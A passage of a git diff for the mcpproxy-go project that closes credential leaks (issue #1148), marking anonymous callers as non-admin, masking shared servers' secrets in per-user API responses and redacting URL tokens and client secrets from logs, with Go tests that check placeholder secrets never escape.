chars)"]}`, + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "a mask with no binding must be refused") + assert.Nil(t, patch) + assert.Contains(t, err.Error(), "redaction placeholder") +} + +// A legitimate patch — real values, no masks — must still go through. The net +// is a refusal of masks, not of writes. +func TestBuildPatchConfig_AcceptsRealValues(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Env: map[string]string{"BENIGN": round6Token}, + Enabled: true, + } + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "env_json": `{"BENIGN":"ghp_ffffffffffffffffffffFFFFFFFFFF999999"}`, + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.NoError(t, err) + require.NotNil(t, patch) + assert.Equal(t, "ghp_ffffffffffffffffffffFFFFFFFFFF999999", patch.Env["BENIGN"]) +} + +// The MCP patch door must still REVERT what it can bind — the live rendering of +// a credential under a benign env name included. This is the round trip the +// REST door now shares (see internal/httpapi/round6_write_parity_test.go). +func TestBuildPatchConfig_RevertsTheLiveEnvMask(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Env: map[string]string{"BENIGN": round6Token}, + Enabled: true, + } + masked := oauth.LiveRedaction.EnvValue("BENIGN", round6Token) + require.NotEqual(t, round6Token, masked, "precondition: the read door masks it") + + body, err := json.Marshal(map[string]string{"BENIGN": masked}) + require.NoError(t, err) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "env_json": string(body), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.NoError(t, err) + require.NotNil(t, patch) + assert.Equal(t, round6Token, patch.Env["BENIGN"], + "the stored credential must not be overwritten by its own mask") +} diff --git a/internal/server/server.go b/internal/server/server.go index 125219f47..49c5b4aa5 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -349,9 +349,25 @@ func (s *Server) mcpAuthMiddleware(next http.Handler) http.Handler { http.Error(w, `{"error":"Authentication required. Provide an API key or agent token."}`, http.StatusUnauthorized) return } + // Tray connections carry OS-level authentication (Unix socket / + // named pipe permissions), so they are a real identity even + // without a token. Checked BEFORE the anonymous fallback so a + // socket caller is not downgraded (issue #1148). + if transport.GetConnectionSource(r.Context()) == transport.ConnectionSourceTray { + ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + next.ServeHTTP(w, r.WithContext(ctx)) + return + } + // No token provided — preserve existing unprotected MCP behavior. - // Treat as admin (backward compatibility for MCP clients without auth). - ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + // Treat as admin (backward compatibility for MCP clients without + // auth), but mark the context ANONYMOUS: issue #1148: this + // deliberate upgrade is what let an unauthenticated caller through + // a gate written as `authCtx != nil && !authCtx.IsAdmin()`. Every + // operation that worked before still works; only the + // secret-REVEALING check (AuthContext.CanRevealSecrets) tells the + // two apart. + ctx := auth.WithAuthContext(r.Context(), auth.AnonymousContext()) next.ServeHTTP(w, r.WithContext(ctx)) return } @@ -424,8 +440,10 @@ func (s *Server) mcpAuthMiddleware(next http.Handler) http.Handler { http.Error(w, `{"error":"Invalid authentication token"}`, http.StatusUnauthorized) return } - // Backward compatibility: allow through with admin context - ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + // Backward compatibility: allow through with an ANONYMOUS admin + // context. The token proved nothing, so it is no more of an identity + // than no token at all (issue #1148). + ctx := auth.WithAuthContext(r.Context(), auth.AnonymousContext()) next.ServeHTTP(w, r.WithContext(ctx)) }) } @@ -959,8 +977,13 @@ func (s *Server) Start(ctx context.Context) error { configPath, ) - // Serve using stdio (standard MCP transport) - if err := server.ServeStdio(s.mcpProxy.GetMCPServer()); err != nil { + // Serve using stdio (standard MCP transport). + // + // Issue #1148: stdio has no HTTP middleware, so it used to run with NO + // auth context and relied on every gate reading nil as admin. Declare + // the identity explicitly instead — a stdio peer is the local process + // that launched us, which is as authenticated as the tray socket. + if err := server.ServeStdio(s.mcpProxy.GetMCPServer(), server.WithStdioContextFunc(stdioAuthContext)); err != nil { return fmt.Errorf("MCP server error: %w", err) } } @@ -968,6 +991,46 @@ func (s *Server) Start(ctx context.Context) error { return nil } +// stdioAuthContext installs the authenticated-admin context for the stdio +// transport. See the ServeStdio call site above (issue #1148). +// +// Round 2 finding 9 asked for the nil-sensitive paths this changes to be +// enumerated rather than assumed. Every consumer of auth.AuthContextFromContext +// reachable from an MCP handler, and what a stdio session now does differently: +// +// CHANGED, and intended — stdio now behaves exactly like the API-key admin it +// is, instead of like an absent identity: +// - workspace.go principalFromContext: "" → "admin". Session grouping names +// the local principal instead of degrading to client+project. +// - preflight_glue.go sessionPreflightScope: nil (unrestricted) → a Scope +// over the whole server universe. An admin is in scope for every server, +// so the same set is allowed; the scope is merely materialised, and can +// now surface a storage error that only fires when ListUpstreams itself +// fails. +// - mcp.go handleListUpstreams: CanRevealSecrets() nil → false, admin → +// true. This is the point of the change: `reveal_secret_headers` keeps +// working for the local operator on stdio. +// +// CHANGED shape, identical outcome: +// - mcp_code_execution.go: options.AuthContext and ToolAnnotationFunc are +// now set. jsruntime's AuthInfo.CanAccessServer / HasPermission both +// short-circuit true for type "admin", so nothing is newly denied; only +// an annotation lookup is added per dispatch. +// - mcp_routing.go direct dispatch: the access and permission checks now +// run, and both pass for an admin. +// - mcp_describe_check.go: record.UserID / UserEmail are read off the +// context and are empty on an admin context, so the record is unchanged. +// +// UNCHANGED — these gate on agent/user identity, which an admin context is +// not, or already read nil as admin: +// profile_resolver.go, mcp_direct_scope.go, mcp_direct_callability.go, +// mcp_describe_direct.go, mcp_visibility.go, +// observability_edition_server.go, auth.AuthorizeServerOp and the +// `authCtx != nil && !authCtx.IsAdmin()` gates in mcp.go. +func stdioAuthContext(ctx context.Context) context.Context { + return auth.WithAuthContext(ctx, auth.AdminContext()) +} + // discoverAndIndexTools discovers tools from upstream servers and indexes them // SetShutdownInfo sets the reason and signal for shutdown (Spec 024). @@ -3374,7 +3437,15 @@ func (s *Server) GetServerLogs(serverName string, tail int) ([]contracts.LogEntr return logEntries, nil } -// parseLogLine parses a log line into a LogEntry +// parseLogLine parses a log line into a LogEntry. +// +// Issue #1148, round 4 finding 4: this is the REST twin of `tail_log`. The +// per-server log file is written by mcpproxy AND by the child process, and both +// put credentials in it — the connection logger records the upstream URL with +// its `?token=…`, and an MCP server is free to print its own API key. +// `GET /api/v1/servers/{id}/logs` served those lines verbatim while the MCP +// door scrubbed them. Scrubbing HERE, where a raw line becomes a LogEntry, +// covers every reader of GetServerLogs rather than one handler. func parseLogLine(line string, serverName string) contracts.LogEntry { // Try to parse structured format: "2025-01-20 15:04:05 [LEVEL] message" parts := strings.SplitN(line, " ", 3) @@ -3407,6 +3478,7 @@ func parseLogLine(line string, serverName string) contracts.LogEntry { } } + entry.Message = scrubUpstreamText(entry.Message) return entry } diff --git a/internal/serveredition/api/user_handlers.go b/internal/serveredition/api/user_handlers.go index ae3e2db04..141fd56d0 100644 --- a/internal/serveredition/api/user_handlers.go +++ b/internal/serveredition/api/user_handlers.go @@ -15,6 +15,7 @@ import ( "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/serveredition/users" ) @@ -202,6 +203,45 @@ type ServerListResponse struct { Shared []*ServerResponse `json:"shared"` } +// sharedServerResponse renders one ADMIN-CONFIGURED shared server for an +// ordinary user, with every secret-bearing field masked. +// +// Issue #1148, applied to the server edition's per-user door. ServerResponse +// EMBEDS the raw *config.ServerConfig, and for a shared server that config is +// the ADMIN's: its `headers` (Authorization, X-API-Key), `env`, URL query +// credentials, `oauth.client_secret` and `auth_broker.client_secret` were +// handed to every authenticated user of the deployment in the clear, on +// listServers, getServer and enableServer alike. This is the same defect class +// the MCP, REST and SSE doors closed; this door that sweep did not reach. +// +// The rules are oauth.LiveRedaction — the SAME ones every other door applies — +// reached through oauth.RedactServerConfigSecrets, which walks the struct +// rather than enumerating it, so a field added to config.ServerConfig (or to +// the build-tagged auth_broker block) is masked because the walk reaches it. +// +// It returns a masked COPY: `h.sharedServers` is the LIVE admin configuration, +// and writing a mask through it would be the #1142/#1146 read-modify-write +// corruption with every user of the deployment as the blast radius. +// +// Masking is safe here — and ONLY here — because shared servers are READ-ONLY +// to users: updateServer and deleteServer both answer 403, and enableServer +// stores a per-user preference without touching the shared config. So there is +// no write path that could persist an echoed mask over the real credential, +// which is the hazard every other door on this issue had to guard against. +// PERSONAL servers are deliberately NOT masked: they are the caller's own +// credentials (no cross-tenant disclosure to close), and updateServer replaces +// URL, Args and Headers WHOLESALE from the request body, so masking them +// without a key-bound unmask mirror (oauth.UnmaskLiveHeaders / UnmaskLiveURL + +// oauth.CheckArgvMaskEcho) would let a read-modify-write client persist the +// masks over the user's real secrets. +func sharedServerResponse(sc *config.ServerConfig, userEnabled *bool) *ServerResponse { + return &ServerResponse{ + ServerConfig: oauth.RedactServerConfigSecrets(sc), + Ownership: "shared", + UserEnabled: userEnabled, + } +} + // --- Handlers --- // listServers returns the user's personal servers and the shared (admin-configured) servers. @@ -238,15 +278,12 @@ func (h *UserHandlers) listServers(w http.ResponseWriter, r *http.Request) { shared := make([]*ServerResponse, 0) for _, sc := range h.sharedServers { if sc.Shared { - resp := &ServerResponse{ - ServerConfig: sc, - Ownership: "shared", - } + var userEnabled *bool // Apply user preference if set if pref, ok := sharedPrefs[sc.Name]; ok { - resp.UserEnabled = &pref.Enabled + userEnabled = &pref.Enabled } - shared = append(shared, resp) + shared = append(shared, sharedServerResponse(sc, userEnabled)) } } @@ -354,10 +391,7 @@ func (h *UserHandlers) getServer(w http.ResponseWriter, r *http.Request) { // Check shared servers. for _, shared := range h.sharedServers { if shared.Shared && strings.EqualFold(shared.Name, name) { - writeJSON(w, http.StatusOK, &ServerResponse{ - ServerConfig: shared, - Ownership: "shared", - }) + writeJSON(w, http.StatusOK, sharedServerResponse(shared, nil)) return } } @@ -515,11 +549,7 @@ func (h *UserHandlers) enableServer(w http.ResponseWriter, r *http.Request) { } h.logger.Infow("shared server user preference set", "user_id", userID, "name", name, "enabled", req.Enabled) - writeJSON(w, http.StatusOK, &ServerResponse{ - ServerConfig: shared, - Ownership: "shared", - UserEnabled: &req.Enabled, - }) + writeJSON(w, http.StatusOK, sharedServerResponse(shared, &req.Enabled)) return } } diff --git a/internal/serveredition/api/user_handlers_redaction_test.go b/internal/serveredition/api/user_handlers_redaction_test.go new file mode 100644 index 000000000..4c2702bb9 --- /dev/null +++ b/internal/serveredition/api/user_handlers_redaction_test.go @@ -0,0 +1,249 @@ +//go:build server + +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "testing" + "time" + + "github.com/go-chi/chi/v5" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, applied to the server edition's per-user door. +// +// `GET /api/v1/user/servers`, `GET /api/v1/user/servers/{name}` and +// `POST /api/v1/user/servers/{name}/enable` all render a ServerResponse, which +// EMBEDS the raw *config.ServerConfig. For a SHARED server that config is the +// admin's, not the caller's — so every authenticated user of the deployment +// was handed the shared upstream's Authorization header, its env, its URL +// query credentials, `oauth.client_secret` and `auth_broker.client_secret` in +// the clear. Same defect class as the MCP/REST/SSE doors #1148 closed, on a +// door that sweep did not reach. + +const ( + sharedURLToken = "urlsecret_ZjQ2NTQ0NGY2NTc0NzQ2NQ" + sharedHeaderToken = "hdrsecret_MzM0NDU1NjY3Nzg4OTlhYQ" + sharedAPIKeyValue = "apikeysecret_YWJjZGVmMTIzNDU2Nzg5" + sharedEnvToken = "ghp_envsecret1234567890abcdefghijkl" + sharedArgvToken = "argvsecret_OTg3NjU0MzIxMGZlZGNiYQ" + sharedOAuthSecret = "oauthsecret_MTIzNDU2Nzg5MGFiY2RlZg" + sharedBrokerSecret = "brokersecret_ZmVkY2JhMDk4NzY1NDMy" + sharedIsolationArg = "isosecret_Nzg5MGFiY2RlZjEyMzQ1Ng" +) + +// sharedSecrets lists every credential the fixture below plants, so a new field +// cannot be added to the fixture without the assertions covering it. +func sharedSecrets() []string { + return []string{ + sharedURLToken, + sharedHeaderToken, + sharedAPIKeyValue, + sharedEnvToken, + sharedArgvToken, + sharedOAuthSecret, + sharedBrokerSecret, + sharedIsolationArg, + } +} + +// secretBearingSharedServer is one admin-configured SHARED server carrying a +// credential in every secret-bearing shape the config struct has. +func secretBearingSharedServer() *config.ServerConfig { + return &config.ServerConfig{ + Name: "shared-secrets", + URL: "https://api.example.com/mcp?access_token=" + sharedURLToken, + Protocol: "http", + Command: "npx", + Args: []string{"server", "--api-key", sharedArgvToken}, + Env: map[string]string{"GITHUB_TOKEN": sharedEnvToken}, + Headers: map[string]string{ + "Authorization": "Bearer " + sharedHeaderToken, + "X-Api-Key": sharedAPIKeyValue, + }, + OAuth: &config.OAuthConfig{ + ClientID: "public-client-id", + ClientSecret: sharedOAuthSecret, + }, + AuthBroker: &config.AuthBrokerConfig{ + Mode: config.AuthBrokerModeTokenExchange, + TokenEndpoint: "https://idp.example.com/token", + ClientID: "broker-client-id", + ClientSecret: sharedBrokerSecret, + }, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "API_KEY=" + sharedIsolationArg}, + }, + Enabled: true, + Shared: true, + // A FIXED timestamp: the pristine-copy assertions below compare two + // independently built fixtures. + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + } +} + +// assertNoSharedSecrets fails naming the exact credential that escaped. +func assertNoSharedSecrets(t *testing.T, body []byte) { + t.Helper() + for _, secret := range sharedSecrets() { + assert.NotContains(t, string(body), secret, + "a shared server's credential reached an ordinary user in the clear") + } +} + +func TestListUserServers_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + // The response must still be USEFUL: the server is named and identifiable. + var resp ServerListResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.Len(t, resp.Shared, 1) + assert.Equal(t, "shared-secrets", resp.Shared[0].Name) + assert.Equal(t, "shared", resp.Shared[0].Ownership) + + // h.sharedServers is the LIVE admin config; rendering a read response must + // never mutate it (the #1142/#1146 corruption shape). + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +func TestGetServer_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers/shared-secrets", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.Equal(t, "shared", resp.Ownership) + assert.Equal(t, "shared-secrets", resp.Name) + + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +func TestEnableServer_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + body, err := json.Marshal(EnableServerRequest{Enabled: false}) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPost, "/api/v1/user/servers/shared-secrets/enable", bytes.NewReader(body)) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.NotNil(t, resp.UserEnabled) + assert.False(t, *resp.UserEnabled, "the per-user preference must survive masking") + + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +// The PERSONAL half is deliberately NOT masked, and that decision is pinned +// here rather than left implicit. +// +// A personal server's credentials are the caller's OWN — there is no +// cross-tenant disclosure to close. Masking them would be actively harmful +// without a key-bound unmask mirror on updateServer, which replaces Headers, +// Args and URL WHOLESALE from the request body: a Web UI that read the masked +// values back and PUT them would persist the masks over the user's real +// credentials. That is exactly the read-modify-write corruption of #1142/#1146. +// If personal servers are ever masked, updateServer needs +// oauth.UnmaskLiveHeaders / UnmaskLiveURL plus oauth.CheckArgvMaskEcho first. +func TestGetServer_PersonalSecretsAreNotMasked(t *testing.T) { + handlers, store := testSetup(t, nil) + router := testRouter(handlers, defaultAuthContext()) + + personal := secretBearingSharedServer() + personal.Name = "my-server" + personal.Shared = false + require.NoError(t, store.CreateUserServer(testUserID, personal)) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers/my-server", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.Equal(t, "personal", resp.Ownership) + assert.Equal(t, "Bearer "+sharedHeaderToken, resp.Headers["Authorization"], + "a user's own credential must round-trip so a read-modify-write update cannot corrupt it") +} + +// The fail-closed net: EVERY route this handler registers is exercised against +// a secret-bearing shared server, and none of them may echo a credential. +// +// It is driven by the router's OWN route table rather than by a list of the +// three handlers that leaked, because a hand-listed set of doors is exactly +// what let this defect survive the #1148 sweep — listServers, getServer and +// enableServer each built the same raw ServerResponse, and a fourth route that +// does it tomorrow would be just as invisible. A new route under +// /user/servers is covered by this test the moment it is registered. +func TestUserServerRoutes_NeverEchoASharedServerSecret(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + // A body that decodes cleanly as every request type this handler accepts, + // so a route is exercised for real rather than bouncing off a 400. + body := []byte(`{"enabled":false}`) + + walked := 0 + err := chi.Walk(router, func(method, route string, _ http.Handler, _ ...func(http.Handler) http.Handler) error { + if !strings.Contains(route, "/user/servers") { + return nil + } + walked++ + target := strings.ReplaceAll(route, "{name}", "shared-secrets") + // chi renders a trailing-slash subroute as "/*"; the bare path is the + // one clients call. + target = strings.TrimSuffix(target, "/*") + + req := httptest.NewRequest(method, target, bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + for _, secret := range sharedSecrets() { + assert.NotContains(t, w.Body.String(), secret, + "%s %s echoed a shared server's credential (status %d)", method, route, w.Code) + } + return nil + }) + require.NoError(t, err) + assert.GreaterOrEqual(t, walked, 6, "the walk must reach every /user/servers route") +} diff --git a/internal/transport/http.go b/internal/transport/http.go index f22d6d3f4..8eeda308a 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -6,6 +6,7 @@ import ( "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/mark3labs/mcp-go/client" "github.com/mark3labs/mcp-go/client/transport" @@ -183,7 +184,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { logger := zap.L().Named("transport") logger.Error("🚨 TRANSPORT HTTP CLIENT CREATION", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("oauth_config_nil", cfg.OAuthConfig == nil), zap.Bool("use_oauth", cfg.UseOAuth)) @@ -192,34 +193,34 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating HTTP client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled client with Dynamic Client Registration logger.Info("Creating OAuth-enabled streamable HTTP client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Debug("🔧 About to create OAuth client with mcp-go library", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI)) logger.Info("Creating OAuth HTTP client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth HTTP client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -247,7 +248,9 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthStreamableHttpClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth client", zap.Error(err)) + // #1148 round 4: mcp-go builds this error from url.Parse, and + // *url.Error quotes the raw URL it was handed. + logger.Error("Failed to create OAuth client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth client: %w", err) } @@ -255,7 +258,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular HTTP client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular HTTP client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -311,30 +314,30 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating SSE client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled SSE client with Dynamic Client Registration logger.Info("Creating OAuth-enabled SSE client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth SSE config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Info("Creating OAuth SSE client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth SSE client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -360,7 +363,8 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { client, err := client.NewOAuthSSEClient(cfg.URL, *cfg.OAuthConfig, oauthOpts...) if err != nil { - logger.Error("Failed to create OAuth SSE client", zap.Error(err)) + // #1148 round 4: see the streamable-HTTP twin above. + logger.Error("Failed to create OAuth SSE client", logSafeErrorField(err)) return nil, fmt.Errorf("failed to create OAuth SSE client: %w", err) } @@ -368,7 +372,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular SSE client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular SSE client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -400,7 +404,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Info("Creating SSE MCP client with indefinite timeout for long-lived streams", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("header_timeout", 30*time.Second), zap.Int("header_count", len(headers)), @@ -410,7 +414,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { if logger.Core().Enabled(zap.DebugLevel - 1) { // Trace level logger.Debug("TRACE SSE TRANSPORT SETUP", zap.String("transport_type", "sse"), - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("response_header_timeout", 30*time.Second), zap.String("debug_note", "SSE client will establish persistent connection for JSON-RPC over SSE with no overall timeout")) @@ -459,3 +463,37 @@ func DetermineTransportType(serverConfig *config.ServerConfig) string { // Default to stdio return TransportStdio } + +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148 (round 2, finding 8): every HTTP/SSE client creation logged the +// raw cfg.URL — at Error level on the streamable-HTTP path, so it fired on +// every attempt regardless of log level — writing `?token=…` and +// `https://user:pass@host` straight into main.log. internal/upstream/core +// already routes its own connection logging through an identical helper +// (Client.logSafeURL); this is the same fix for the transport layer, which the +// first cut of #1148 missed. +// +// oauth.RedactURLQueryParams leaves scheme, host, path and non-sensitive +// parameters verbatim, so the log field stays as diagnosable as it was. +func (c *HTTPTransportConfig) logSafeURL() string { + if c == nil { + return "" + } + return oauth.RedactURLQueryParams(c.URL) +} + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. +// +// Issue #1148, round 3: masking the `url` FIELDS was only half of it — a +// net/http error quotes the request URL inside its own message +// (`Post "https://host/mcp?token=…": dial tcp …`), so the credential kept +// reaching the log through zap.Error on the request-failure paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go new file mode 100644 index 000000000..fb57a8b99 --- /dev/null +++ b/internal/transport/http_url_redact_test.go @@ -0,0 +1,150 @@ +package transport + +import ( + "errors" + "fmt" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + + "github.com/mark3labs/mcp-go/client" + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" +) + +// TestLogSafeURL covers issue #1148 (round 2, finding 8): the HTTP/SSE client +// creation path logged the raw upstream URL into main.log — at Error level, so +// it fired on every attempt regardless of the configured level. +func TestLogSafeURL(t *testing.T) { + cfg := &HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999&debug=1"} + got := cfg.logSafeURL() + assert.NotContains(t, got, "urlsecret999") + assert.Contains(t, got, "debug=1", "non-sensitive parameters must stay readable") + assert.Contains(t, got, "host/mcp") + + userinfo := (&HTTPTransportConfig{URL: "https://alice:hunter2phrase@host/mcp"}).logSafeURL() + assert.NotContains(t, userinfo, "hunter2phrase") + + assert.Equal(t, "", (&HTTPTransportConfig{}).logSafeURL()) + assert.Equal(t, "", (*HTTPTransportConfig)(nil).logSafeURL()) +} + +// TestCreateHTTPClient_DoesNotLogRawURL is the end-to-end guard: no log line +// emitted while building the client may carry the credential. +func TestCreateHTTPClient_DoesNotLogRawURL(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + _, err := CreateHTTPClient(&HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999"}) + assert.NoError(t, err) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.NotEmpty(t, b.String(), "precondition: client creation logs something") + assert.NotContains(t, b.String(), "urlsecret999") +} + +// TestLogSafeErrorField_RedactsURLCredentials covers issue #1148 round 3: the +// `url` log fields were masked, but a net/http error quotes the request URL +// inside its own message, so the credential kept reaching the log through +// zap.Error on the request-failure path. +func TestLogSafeErrorField_RedactsURLCredentials(t *testing.T) { + err := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + field := logSafeErrorField(err) + + assert.NotContains(t, field.String, "urlsecret999", "the error text must not carry the URL credential") + assert.Contains(t, field.String, "connection refused", "the diagnostic part must survive") + assert.Equal(t, zapcore.SkipType, logSafeErrorField(nil).Type, "a nil error contributes no field") +} + +// TestRetryAfterTransport_DoesNotLogRawURLCredentials covers issue #1148 round +// 4: the back-off log line rendered the request URL through the stdlib's +// url.URL.Redacted(), which masks ONLY the userinfo password and leaves a +// `?token=…` query credential verbatim. +func 